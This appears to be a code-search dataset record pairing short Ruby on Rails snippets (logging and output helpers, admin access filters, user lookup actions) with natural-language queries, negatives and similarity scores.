"def log_info(*custom_infos)\r\n options = custom_infos.extract_options!\r\n options[:development_only] ||= false\r\n \r\n if options[:development_only]\r\n if Rails.env != \"production\"\r\n infos = create_info_log custom_infos\r\n\r\n if options[:write_to] && options[:write_to].to_sym == :error\r\n $log.error infos.join(\"\\n\")\r\n else\r\n $arb_log.info infos.join(\"\\n\")\r\n end\r\n end\r\n else\r\n infos = create_info_log_string custom_infos\r\n\r\n if options[:write_to] && options[:write_to].to_sym == :error\r\n $log.error infos.join(\"\\n\")\r\n else\r\n $arb_log.info infos.join(\"\\n\")\r\n end\r\n end\r\nend",
"def initialize\n @logger = Logger.new(STDOUT)\n super(@logger)\n end",
"def get_logger; @logger; end",
"def enable_logging\n initialize_logger\n end",
"def log_level; end",
"def log_level; end",
"def log\n LOGGER\n end",
"def log(message)\n puts message\n end",
"def log_sometext(str)\n log str\n end",
"def info?; @logger.info? end"
] |
[
"0.724748",
"0.724748",
"0.724748",
"0.724748",
"0.724748",
"0.724748",
"0.724748",
"0.724748",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7208501",
"0.7093844",
"0.7092006",
"0.7077364",
"0.6864571",
"0.683202",
"0.6773543",
"0.6702489",
"0.66858524",
"0.66858524",
"0.66677785",
"0.66283053",
"0.6610306",
"0.658546",
"0.65437824",
"0.6519516",
"0.6515109",
"0.64817315",
"0.64714503",
"0.6437883",
"0.6402634",
"0.6401191",
"0.63870126",
"0.6354626",
"0.6340959",
"0.63306075",
"0.6305167",
"0.6295855",
"0.62883025",
"0.6268948",
"0.6268948",
"0.6268948",
"0.6268948",
"0.6268948",
"0.62512136",
"0.6250512",
"0.6249713",
"0.6225458",
"0.6225458",
"0.6225458",
"0.61980534",
"0.61772585",
"0.61772585",
"0.6175753",
"0.6156212",
"0.6106841",
"0.61012465",
"0.60819703",
"0.6074472",
"0.60689336",
"0.60606444",
"0.6058646",
"0.605551",
"0.6054097",
"0.60538733",
"0.60529494",
"0.60502404",
"0.60426176",
"0.6041604",
"0.6039609",
"0.6038071",
"0.60371846",
"0.60332495",
"0.6031919",
"0.6031919",
"0.60302",
"0.60221624",
"0.6020939",
"0.6017203",
"0.6011747",
"0.6011747",
"0.6002766",
"0.59984887",
"0.59921217",
"0.59854233"
] |
0.0
|
-1
|
For the same reason as logging, we want to have a central method that is responsible for showing output to the user This way if we want to customize it, we can do it in one place
|
def present(output, newline: true)
# ternary operator FTW
newline ? puts(output) : print(output)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logger_output; end",
"def display(text)\n @log ||= Logger.new(STDERR)\n @log.info text\n end",
"def display(text)\n @log ||= Logger.new(STDERR)\n @log.info text\n end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def log(message)\n STDOUT.puts message\nend",
"def info_msg(msg)\n @log.puts(msg)\n puts msg\nend",
"def display(msg)\n puts\n puts msg\n end",
"def output_message msg\n puts \"***** #{msg} *****\"\nend",
"def print\n raise NotImplementedError, \"Subclasses must implement a call method.\"\n end",
"def output_log(log)\n puts \"\\e[32m#{log}\\e[m\\s\"\nend",
"def stdouts; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def show_message(message)\n puts message\nend",
"def show_message(message)\n puts message\nend",
"def show_message(message)\n puts message\nend",
"def log(msg)\n puts\n puts msg\nend",
"def info(msg)\n puts \"\\n ==> #{msg}\"\nend",
"def out(msg)\n puts \"#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")} #{msg}\" if DEBUG_OUTPUT\nend",
"def display(*args)\n @__caller_info__ = __caller_info__\n super\n end",
"def log_to_stdout\n log_to STDOUT\n end",
"def __output_impl(*args, **opt)\n return if defined?(Log) && Log.silenced?\n sep = opt[:separator] || \"\\n\"\n\n # Construct the string that is prepended to each output line.\n indent = opt[:indent]\n indent = (' ' * indent if indent.positive?) if indent.is_a?(Integer)\n indent = \"#{OUTPUT_PREFIX}#{indent}\"\n leader = \"#{indent}#{opt[:leader]}\"\n leader << ' ' unless (leader == indent) || leader.match?(/\\s$/)\n\n # Combine arguments and block results into a single string.\n args += Array.wrap(yield) if block_given?\n if opt[:debug]\n omit = opt[:omission] || '…'\n max = opt[:max]\n max = max - leader.size if max\n args =\n args.flat_map { |arg|\n case arg\n when Hash then arg.map { |k, v| \"#{k} = #{v}\" }\n when Array then arg.map(&:to_s)\n when String then arg\n else arg.inspect\n end\n }.map { |arg|\n arg = to_utf8(arg)\n if max\n next unless max.positive?\n size = arg.size + sep.size\n if max >= size\n max -= size\n else\n stop = max - omit.length\n arg = (arg[0, stop] + omit unless stop.negative?)\n max = 0\n end\n end\n arg\n }.compact\n end\n lines = leader + args.compact.join(sep).gsub(/\\n/, \"\\n#{leader}\").strip\n\n unless opt[:no_log] || !defined?(Log)\n begin\n\n # Apply log formatting rather than writing directly.\n return Log.debug(lines) if LOG_TO_STDOUT\n\n # For desktop builds, if explicitly requested, copy output to the log.\n unless (level = opt[:log]).blank? || application_deployed?\n level = Log.log_level(level, :debug)\n Log.add(level, lines)\n end\n\n rescue\n # Too early -- fall through to the normal write to stdout.\n end\n end\n\n # Emit output.\n $stdout.flush\n $stderr.flush\n $stderr.puts(lines)\n $stderr.flush\n nil\nend",
"def output(msg)\n puts \"*****#{msg}*****\"\nend",
"def log_stdout(type: :info, message:)\n $stdout.puts log_entry(type, message)\n end",
"def verbose_logging; end",
"def log(text)\n puts \"[#{Time.now}] \\e[0;30mCaller: #{caller[0][/`(.*)'/,1]} \\e[0m| #{text}\"\n end",
"def log(text)\n puts text\n end",
"def puts(*args)\n page_stdout\n super\n end",
"def log(*args)\n @out.puts(*args)\n end",
"def info_and_log(message)\n @ui.info(message)\n @logger.info(message)\n end",
"def debug_output=(arg); end",
"def colorize_logging; end",
"def showLog( foodLog )\n puts \"\\n\" + foodLog.showAll\nend",
"def show(msg)\n puts 'EXAMPLE<basic> ' + msg\nend",
"def help\n log_tips = \"\\nInitializing a Watirmark Logger:\nlogger = WatirmarkLog::Loger.new('optional_logger_name')\\n\nLogging methods:\nlogger.debug 'debug message' => 'DEBUG: debug message'\nlogger.info 'info message' => 'INFO: info message'\nlogger.warn 'warn message' => 'WARN: warn message'\nlogger.error 'error message' => 'ERROR: error message'\nlogger.turn_off = true => turns off all logging to stdout\\n\nLogging Hierarchy (debug < info < warn < error):\nlog.level = :info\nlogger.debug 'this message will NOT execute'\nlogger.info 'info message'\nlogger.warn 'warn message'\nlogger.error 'this message will AlWAYS execute'\\n\nLog Color Coding:\nlog.colors => {:black => :black, :red => :red,:green => :green, :yellow => :yellow, :blue => :blue, :magenta => :magenta, :cyan => :cyan, :white => :white}\nlog.debug_color = :red\nlog.debug 'debug message with color' => \" + \"DEBUG: debug message with color\".red + \"\n \\nCreating Log File:\nCreate a file where all log information is streamed to.\nThis is not dependent on log.level\nEx.\nlog.create_file\nlog.create_file 'file_name.log'\nlog.create_file 'file_name.log', directory\"\n puts log_tips\n end",
"def output(*args)\n if info.redirect_output_to\n out = $manager.get_object info.redirect_output_to\n\n if out\n out.output \"[#{self.name} sees: #{args[0]}]\"\n end\n end\n end",
"def print\r\n puts self.output\r\n end",
"def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend",
"def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend",
"def output(o);printf o;end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def say(*par)\n return unless self[:verbose]\n\n super(*par)\n end",
"def log(phrase)\n puts \"INFO: \" + phrase\nend",
"def output_me(level, print_and_log_me)\n\n print_and_log_me = \"52m_update_maps.rb:\" + print_and_log_me\n puts print_and_log_me\n\n if level == \"debug\"\n logger.debug(print_and_log_me)\n end\n if level == \"info\"\n logger.info(print_and_log_me)\n end\n if level == \"error\"\n logger.error(print_and_log_me)\n end\nend",
"def output_me(level, print_and_log_me)\n\n print_and_log_me = \"52m_update_maps.rb:\" + print_and_log_me\n puts print_and_log_me\n\n if level == \"debug\"\n logger.debug(print_and_log_me)\n end\n if level == \"info\"\n logger.info(print_and_log_me)\n end\n if level == \"error\"\n logger.error(print_and_log_me)\n end\nend",
"def print\r\n puts name + \" \" + className + \" says \" + \"\\\"\" + call + \"\\\"\"\r\n end",
"def log(msg, meta = {})\n puts \"#{msg} --- #{meta}\"\nend",
"def output(text)\n puts text\n end",
"def set_debug_output(arg); end",
"def log(msg)\n puts msg\n end",
"def output\n UI\n end",
"def log_to_console\n location = @location[1..-1] # remove file_descriptor\n details = @details.first(2) # remove additional details\n [\n ' ',\n location.join(', ').ljust(33),\n details.join(': ')\n ].join\n end",
"def msg(text)\n print text if VERBOSE\n STDOUT.flush\nend",
"def print(message); end",
"def print(message); end",
"def log_standard_outputs\n [STDOUT, STDERR].each do |output|\n (class << output; self; end).class_eval do\n alias __write__ write\n\n def write string\n Wmiirc::LOG << string\n __write__ string\n end\n\n alias << write\n end\n end\n end",
"def log_stuff\r\n log.info(\"TestLogger is here to log stuff.\")\r\n log.warn(\"TestLogger is finishged logging. Be careful.\")\r\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def output\n App.settings.log_output\n end",
"def log!(msg)\n log_info(msg)\n puts(msg)\nend",
"def debug_print(output, debug)\n\tif debug\n\t\tputs \"[*] #{output}\".red\n\tend\nend",
"def print( *args )\n @output.print(*args)\n end",
"def log_output_on &block\n out = ''\n orig,@should_log_output = @should_log_output,true\n if not block.nil?\n begin\n out = block.call\n ensure\n @should_log_output = orig\n end\n end\n out\n end",
"def displayln(out=$stdout)\n out.puts self\n end",
"def displayInfo(text)\n puts \"( - ) #{text}\"\n end",
"def puts_info(msg)\n $stdout.puts \"\\e[32m[INFO] #{msg}\\e[0m\" if Calamum::Config[:debug]\nend",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def print(msg)\n info(msg)\n end",
"def display\n puts self\n end",
"def info(msg) log(6, msg); end",
"def message(msg)\n STDOUT.puts msg\n end",
"def log_sometext(str)\n log str\n end",
"def verbose_print(text)\n @output += %(#{text}\\n)\n puts text if @verbose\n end",
"def log(message)\n puts message\n end"
] |
[
"0.7555184",
"0.6904446",
"0.6904446",
"0.6882929",
"0.6882929",
"0.6882929",
"0.6882929",
"0.6882929",
"0.6882929",
"0.6841408",
"0.68023986",
"0.67183137",
"0.670368",
"0.6657372",
"0.6640824",
"0.66271496",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65893966",
"0.65857697",
"0.65857697",
"0.65857697",
"0.6540975",
"0.6536719",
"0.6527705",
"0.65130323",
"0.65015215",
"0.64994353",
"0.6489087",
"0.6455986",
"0.6435979",
"0.64351386",
"0.6429014",
"0.6421502",
"0.6420293",
"0.64197546",
"0.64079005",
"0.64043325",
"0.6402179",
"0.63833994",
"0.6381477",
"0.6374398",
"0.63725483",
"0.63659006",
"0.63624024",
"0.63611484",
"0.6356095",
"0.6356095",
"0.6356095",
"0.6356095",
"0.6356095",
"0.6356095",
"0.6356095",
"0.6356095",
"0.6350694",
"0.6348288",
"0.6330167",
"0.6330167",
"0.63205177",
"0.6305581",
"0.6279149",
"0.6266791",
"0.6262062",
"0.6258288",
"0.62469417",
"0.62384593",
"0.6230935",
"0.6230935",
"0.6228857",
"0.6221128",
"0.62191176",
"0.62191176",
"0.62189335",
"0.6201415",
"0.6196726",
"0.61925167",
"0.6190364",
"0.61891997",
"0.6186656",
"0.6185106",
"0.61823684",
"0.61823684",
"0.6176087",
"0.6173747",
"0.6173381",
"0.6167465",
"0.6156354",
"0.615528",
"0.61541694"
] |
0.0
|
-1
|
3112 Administrators cannot see other users
|
def index
@page_title = "CBCL - Liste af Brugere"
@sort = params[:sort] || 'users.created_at'
@order = params[:order] || "asc"
@users = current_user.get_users(:page => params[:page], :per_page => Journal.per_page, :sort => params[:sort], :order => params[:order])
if !params[:partial]
render
else
render :partial => 'users/users', :layout => false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end",
"def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end",
"def admin_user\n #redirect_to(root_url) unless\n current_user.admin || current_user.super_admin?# || top_layer_administrator\n end",
"def admin_only\n deny_access(\"Necesitas tener privilegios de administrador para entrar.\") unless signed_in_as_admin?\n end",
"def admin_user\n render_forbidden unless current_user.admin?\n end",
"def user_access_control_all\n @user = User.find(params[:user_id])\n\n unless !@user.admin? && current_user.admin? || current_user?(@user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end",
"def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end",
"def admin_user\n\t\tunless admin? \n\t\t\tflash[:danger] = \"Only administrators have access to this page\"\n\t\t\tredirect_back_or(root_url) \n\t\tend\n\tend",
"def index\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n else \n redirect_to '/'\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end",
"def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end",
"def admin_in!\n access_denied! unless current_user.admin?\n end",
"def index\n # authorize! :index, @user, :message => 'Not authorized as an administrator.'\n @users = User.all\n end",
"def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end",
"def index\n authorize Admin\n @admins = User.find_by_sql([\"select * from users where role = ?\",2])\n end",
"def users_only\n deny_access(\"Necesitas crear una cuenta para entrar a esta sección\") unless signed_in?\n end",
"def limit_to_staff\n authenticate_user!\n unless current_user.admin?\n raise ActionController::RoutingError.new('Not Found')\n end\n end",
"def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end",
"def update_administrators\n if user_id_changed?\n if (user_id)\n Membership.find_by_user_id_and_network_id(user_id, id).try(:destroy) # delete membership of new owner\n end \n if (user_id_was)\n Membership.create(:user_id => user_id_was, :network_id => id,\n :administrator => true, :invited_by => User.find(user_id)).accept! # create membership for old owner\n end\n end\n end",
"def admin_user\n redirect_to root_url, notice: \"You do not have permission to view or edit this information.\" unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? || current_user.super_admin?\n end",
"def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end",
"def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end",
"def admin_user \n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to edit menu.'\n \n redirect_to(root_url)\n end\n end",
"def admin_user\n unless admin_user?\n redirect_to login_url\n end\n end",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin? #NB il metodo \"admin?\" è stato aggiunto direttamente da Rails quando alla creazione ha visto che admin è un booleano\n\tend",
"def authorize_admin\r\n unless session[:user_id] and\r\n User.find(session[:user_id]).level == 2\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"access_denied\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end",
"def check_admin_of\n redirect_to root_path if current_user &&\n @user != current_user &&\n !current_user.admin_of?(@user, \"can_manage_users\")\n end",
"def require_admin\n deny_wrong_user if !admin?\n end",
"def administrators\n adminrole = Role.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND name='Administrator'\")\n adminrole ?\n adminrole.users.select{|u| u.company==self} : nil\n end",
"def _admin_or_self\n not_authorizaed unless current_user.admin? || current_user == @user\n end",
"def orgadmin_user\n unless current_user.orgadmin?\n flash_org_admin_rights\n redirect_to(root_path)\n end\n end",
"def check_access_control_all\n @user = User.find(params[:user_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @user.id\n rescue\n response_access_denied\n end",
"def authenticate_admin_user!\n raise SecurityError unless current_user.is_admin \n end",
"def authorize_admin_manage_users\n unless current_user.permission.manage_users\n redirect_back fallback_location: root_path\n end\n end",
"def admin_only\n current_client == current_user\n unless current_user.admin? || @client == current_user\n redirect_to clients_path, :alert => \"Access denied.\"\n end\n end",
"def check_admin_user\n unless current_user && current_user.privilege_admin?\n flash[:danger] = \"You do not have permission to perform this operation\"\n redirect_to root_path\n end\n end",
"def admin? ; user.instance_of? User and user.role >= 2 ; end",
"def admin_user\n redirect_to(root_path) unless current_user.try(:admin?) || current_user?(@user)\n end",
"def admins\n app_users.select(&:admin?)\n end",
"def user_is_admin?\n ALLOWED_USERS.include? current_user.email\n end",
"def index\n if Administrator.find_by_user_id(current_user.id).admin\n @users = User.all\n else\n redirect_to root_path\n end\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def admin_user\n\t\tredirect_to(root_path) unless current_user.admin?\n\tend",
"def admin_user\n redirect_to(root_path) unless (current_user != nil && current_user.admin == true)\n end",
"def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend",
"def soadmin_user\n unless current_user.soadmin?\n flash_so_admin_rights\n redirect_to(root_path)\n end \n end",
"def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t end",
"def admin_user\n redirect_to(root_url) unless current_user && current_user.admin?\n end",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend",
"def admin_user\n\t\tredirect_to(root_url) unless current_user.admin?\n\tend",
"def index\n # index not implemented - only admins may list users\n raise \"This action is not implemented\"\n end",
"def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend",
"def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend",
"def admin_user\n redirect_to(root_path) unless is_admin?\n end",
"def admin_only\n unless current_user.admin?\n redirect_to :back, :alert => \"Access denied.\"\n end\n end",
"def admin_user\n redirect_to(login_path) unless current_user.is_admin?\n end",
"def admin_user\n @user = current_user\n redirect_to @user unless @user.admin?\n end",
"def admin_user\n \t\tredirect_to(root_url) unless current_user.admin?\n \tend",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def admin_check\n render_401 && return unless current_user\n render_403 && return unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless logged_in?&¤t_user.user_role\n end",
"def admin_user\n \tif current_user.nil?\n \tredirect_to(login_path)\n else\n \tredirect_to(login_path) unless current_user.admin?\n end\n end",
"def admin_user\n \tif current_user.nil?\n \tredirect_to(login_path)\n else\n \tredirect_to(login_path) unless current_user.admin?\n end\n end",
"def admin_user\n redirect_to(root_url) and flash[:danger] = \"Only admins can do that!\" unless current_user.admin?\n\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin? # se current_user.admin for falso redireciona para pagina principal\n end",
"def admin_only\n if !Volt.current_user.admin\n redirect_to '/login'\n end\n end",
"def admin_user\n\t redirect_to user_path(current_user) unless current_user.admin?\n\tend",
"def admin?\n if !ALLOWED_USERS.include? current_user.email\n redirect_to root_path\n end\n end",
"def show\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n \t@user = User.find(params[:id])\n else \n redirect_to '/'\n end\n end",
"def admin_user\n redirect_to(admin_admins_path) unless current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless !current_user?(@user) && current_user.admin?\n end",
"def index\n if current_user.rol == 1\n @users = User.order(:id)\n else\n @mensaje = \"Seccion exclusiva para administrador\"\n end\n end",
"def only_for_admins\n raise ActiveRecord::RecordNotFound unless current_user.has_role? :admin\n end",
"def show\n @user = User.find(params[:id])\n unless current_user.admin?\n unless @user == current_user\n redirect_to :back, :alert => \"Access denied.\"\n end\n end\n end",
"def index\n\t\tis_current_role_site_admin = session[:role] == User.site_admin\n\t\tis_current_role_vendor_admin = session[:role] == User.vendor_admin\n\t\tis_administrator_role = is_current_role_site_admin || is_current_role_vendor_admin\n\t\tif is_administrator_role\n\t\t\t@users = User.all.where(role_id: Role.get_user_id)\n\t\tend\n\tend",
"def admin_user\n redirect_to(root_url) unless current_doctor.admin?\n end",
"def index\n return unless authenticated_admin?\n @users = User.all\n end",
"def authenticate_admin!\n render_404 unless current_user.try(:admin?) && current_user\n end",
"def index\n if current_user.admin?\n @users = User.all\n end\n \n end",
"def admin_user\n redirect_to(current_user) unless current_user.admin?\n end",
"def user_admin?\n \t@admin_user = Usuario.find(session[:user_id]).admin\n end",
"def admin_user\n unless this_is_admin?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end",
"def admin_user\n unless this_is_admin?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end",
"def normal_user?\n self.admin ==false\n end",
"def admins_only\n if current_user.nil? or !current_user.is_admin?\n # Silently redirect, no need to tell anyone why. If they're\n # not an admin, they have no business here\n redirect_to root_path\n end\n end",
"def valid_admin_user\n admin_workspace = ScAdmin.find_by_workspace_id(current_workspace_member.workspace.id)\n admin_user = admin_workspace.user_sc_admins.find(:first, :conditions => {:user_id => current_user.id})\n if !admin_user\n redirect_to scratch_user_path(current_user)\n end\n end",
"def admin_user\n if (!current_user || current_user.username != 'admin')\n redirect_to(root_url)\n end\n end",
"def admin_user\n unless logged_in? && current_user.admin?\n redirect_to root_url\n end\n end",
"def show\n @user = current_user\n @admin = @user.admin\n unless @admin\n redirect_to :root, :alert => t(\"notice.access\")\n end\n end",
"def index\n if current_user.role == \"super_admin\" || current_user.role == \"admin\" #[99, 100]\n @users = User.all\n else\n redirect_to user_path(current_user)\n end\n end",
"def restrict_user_by_role\n unless current_user and current_user.admin?\n redirect_to root_path # change this to your 404 page if needed\n end\n end",
"def index\n @admins = Admin.order(:email)\n authorize @admins\n end"
] |
[
"0.7263266",
"0.7263266",
"0.71552145",
"0.7129115",
"0.7110014",
"0.7067813",
"0.70627415",
"0.7060988",
"0.70269096",
"0.7023807",
"0.7023807",
"0.7023807",
"0.7023807",
"0.698633",
"0.698633",
"0.6981181",
"0.69801354",
"0.6972101",
"0.69588864",
"0.6911965",
"0.691089",
"0.68898207",
"0.6878291",
"0.68639565",
"0.6862446",
"0.68605626",
"0.68605626",
"0.68585765",
"0.68545663",
"0.685367",
"0.68473506",
"0.6845344",
"0.68302345",
"0.6827357",
"0.6821381",
"0.68201095",
"0.68198025",
"0.68181497",
"0.68162835",
"0.680716",
"0.6794229",
"0.6787217",
"0.67848873",
"0.6782363",
"0.67777246",
"0.6771957",
"0.6757282",
"0.6757282",
"0.6757282",
"0.67567104",
"0.67514986",
"0.67462736",
"0.67402434",
"0.673879",
"0.67368835",
"0.6726235",
"0.6717867",
"0.6717867",
"0.6717867",
"0.6703194",
"0.6696629",
"0.6696629",
"0.6694391",
"0.66922367",
"0.6688429",
"0.6685253",
"0.6685167",
"0.6684937",
"0.66818756",
"0.6680423",
"0.6679959",
"0.6679959",
"0.66759413",
"0.66742986",
"0.6672753",
"0.6665579",
"0.6663855",
"0.66616577",
"0.6660659",
"0.66604495",
"0.66567445",
"0.6656435",
"0.66547185",
"0.66502446",
"0.6646941",
"0.6641277",
"0.66378814",
"0.66378635",
"0.6635087",
"0.66303647",
"0.66270304",
"0.66270304",
"0.66215235",
"0.6620358",
"0.6615544",
"0.66152376",
"0.66132146",
"0.6611258",
"0.6606449",
"0.66",
"0.6598551"
] |
0.0
|
-1
|
Show a user identified by the +:id+ path fragment in the URL. Before_filter find_user
|
def show
@page_title = "CBCL - Detaljer om bruger " + (@user && @user.login || "")
@groups = @user.center_and_teams
group_ids = @groups.map {|g| g.id }.join(',')
query = "select center_id, count(*) as count from journals where center_id IN (#{group_ids}) group by center_id"
# puts query
@groups_count = ActiveRecord::Base.connection.execute(query).each(:as => :hash).inject({}) do |col,j|
col[j['center_id']] = j['count']; col
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n\t\tthe_user_id = params[\"id\"]\n \t@user = User.find_by :id => the_user_id\n\tend",
"def show\n @user = User.find_by(id: params[:id])\n render_404 unless @user\n end",
"def show\n # find the user by the user id in the route params\n # (this will likely be moved to its own before method)\n @user = User.find(params[:id])\n end",
"def show\n \t# get particular user here\n \t@user = User.find_by_id(params[:id])\n \t# if not @user\n \t# \tredirect_to \"/users\"\n \t# end\n end",
"def show\n if params[:id].to_i.to_s == params[:id]\n @user = User.find(params[:id])\n else\n @user = User.find_by(username: params[:id])\n end\n end",
"def show\n respond_to do |format|\n if (current_user.is_admin?)\n @user = current_org.users.find(params[:id])\n format.html\n else\n if (current_user.id != params[:id].to_i)\n format.html { redirect_to user_path(current_user.id) }\n else\n @user = current_user\n format.html\n end\n end\n end\n end",
"def show\n @user = User.find_by_username!(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to User.find_by_id!(params[:id]) # forces redirect to path with username if used id on URL\n end",
"def show\n user_id = params.require(:id).to_i\n\n if user_id != current_user.id\n bad_request\n else\n @user = User.find(user_id)\n if @user\n success(body: @user)\n else\n not_found\n end\n end\n end",
"def show\n id = params[:id]\n if current_user.id == params[:id].to_i \n @user = current_user\n else\n @user = current_user.find(id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find(params[:id]) # Find user's page to render\n end",
"def show\n\n #redirect_to root_url\n #binding.pry\n unless current_user.id == params[:id].to_i\n redirect_to root_url\n end\n end",
"def show\n # finds user with id of params[:id]\n @user = User.find params[:id]\n end",
"def show\n user = visible_users.find_by(id: params[:id])\n if user.nil?\n # No user with that id\n render 'shared/http_status', locals: { code: '404', message:\n 'No user exists with that id' }, status: :not_found\n else\n respond_to do |format|\n format.xml { render xml: user.to_xml(only: DEFAULT_FIELDS, root: :user, skip_types: true) }\n format.json { render json: user.to_json(only: DEFAULT_FIELDS) }\n end\n end\n end",
"def show\n if User.find_by(id: params[:id]) && session[:user_id]\n @user = User.find_by(id: params[:id])\n render :show\n else\n redirect_to '/'\n end\n end",
"def show\n @user = User.find_by(username: params[:id])\n render :show\n end",
"def show \n\t\t@user = User.find_by_id(params[:id])\n\tend",
"def show\n if params[:id]\n @user = User.find(params[:id])\n else\n @user = current_user\n end\n \n if @user == current_user\n render :show_full\n else\n render :show\n end\n end",
"def show\n # binding.pry\n if session[:user_id] && session[:user_id] == params[:id].to_i\n render :show\n else\n redirect_to '/'\n end\n end",
"def view\n\t\t\tparams[:id] ||= current_user.id\n\t\t\tbegin\n\t\t\t\t@user = User.find(params[:id])\n\t\t\trescue\n\t\t\t\tredirect_to '/'\n\t\t\tend \n\t\tend",
"def show\n @user = User.find_by(:id => params[:id])\n end",
"def show\n @user = User.find(params[:id])\n if current_user != @user\n redirect_to @user\n end\n end",
"def show\n @user = User.find(params[:id])\n # show me the user page\nend",
"def view\n\t\trequest_user(params[:id])\n\tend",
"def show\n @user = User.where(:username => params[:id]).first\n end",
